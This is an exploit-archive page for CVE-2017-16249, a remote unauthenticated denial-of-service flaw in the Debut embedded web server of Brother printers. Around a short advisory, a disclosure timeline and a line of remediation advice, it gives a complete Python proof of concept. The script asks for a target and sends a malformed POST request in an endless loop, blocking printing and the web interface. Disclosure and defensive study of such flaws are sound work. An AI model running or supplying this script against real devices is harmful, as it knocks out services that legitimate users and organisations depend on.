Lucene search

K

Debut Embedded HTTPd 1.20 - Denial of Service

🗓️ 02 Nov 2017 00:00:00Reported by z00nType 
exploitpack
 exploitpack
👁 33 Views

Debut Embedded HTTPd 1.20 Remote DoS Vulnerabilit

Show more
Related
Code
ReporterTitlePublishedViews
Family
Packet Storm
Debut Embedded httpd 1.20 Denial Of Service
7 Nov 201700:00
packetstorm
Packet Storm
Brother Debut http Denial Of Service
31 Aug 202400:00
packetstorm
Cvelist
CVE-2017-16249
9 Nov 201719:00
cvelist
Exploit DB
Debut Embedded HTTPd 1.20 - Denial of Service
2 Nov 201700:00
exploitdb
Tenable Nessus
Brother Printer Debut embedded httpd <= 1.20 DoS
30 Nov 201700:00
nessus
Metasploit
Brother Debut http Denial Of Service
29 Dec 201719:16
metasploit
Check Point Advisories
Brother Debut Embedded Httpd Unauthenticated Denial Of Service (CVE-2017-16249)
7 Nov 201700:00
checkpoint_advisories
NVD
CVE-2017-16249
10 Nov 201702:29
nvd
0day.today
Debut Embedded httpd 1.20 - Denial of Service Exploit
6 Nov 201700:00
zdt
AttackerKB
CVE-2017-16249
10 Nov 201700:00
attackerkb
Rows per page
# Exploit Title: Remote un-authenticated DoS in Debut embedded httpd server in Brother printers
# Date: 11/02/2017
# Exploit Author: z00n (@0xz00n)
# Vendor Homepage: http://www.brother-usa.com
# Version: <= 1.20
# CVE : CVE-2017-16249
#
#Description:
#The Debut embedded http server contains a remotely exploitable denial of service where a single malformed HTTP POST request can cause the server to hang until eventually replying with an HTTP 500 error.  While the server is hung, print jobs over the network are blocked and the web interface is inaccessible. An attacker can continuously send this malformed request to keep the device inaccessible to legitimate traffic.
#
#Remediation Steps:
#No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation.
#
#Disclosure Attempts:
#09/11/2017 - Attempt to contact vendor
#10/03/2017 - Live chat communications with vendor regarding no reply
#10/25/2017 - Attempt to contact vendor
#11/02/2017 - Advisory published
#
#Proof of Concept:

#!/usr/bin/python
import socket
import sys

target = raw_input("[*] Enter target IP or hostname: ")
port = raw_input("[*] Enter target port: ")

payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"
payload += "User-Agent: asdasdasd\r\n"
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
payload += "Accept-Language: en-US,en;q=0.5\r\n"
payload += "Referer: asdasdasdasd\r\n"
payload += "Connection: close\r\n"
payload += "Upgrade-Insecure-Requests: 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"

print "[*] Starting DOS.  Payload will be sent every time the server responds."
while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        s.connect((target,int(port)))
        print "[*] Sending DOS payload"
        s.send(payload)
        # Wait for server to respond with 500 error
        s.recv(4096)
        s.close()
    except:
        print("[!] Can't connect to target")
        sys.exit()

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
02 Nov 2017 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.128
33
.json
Report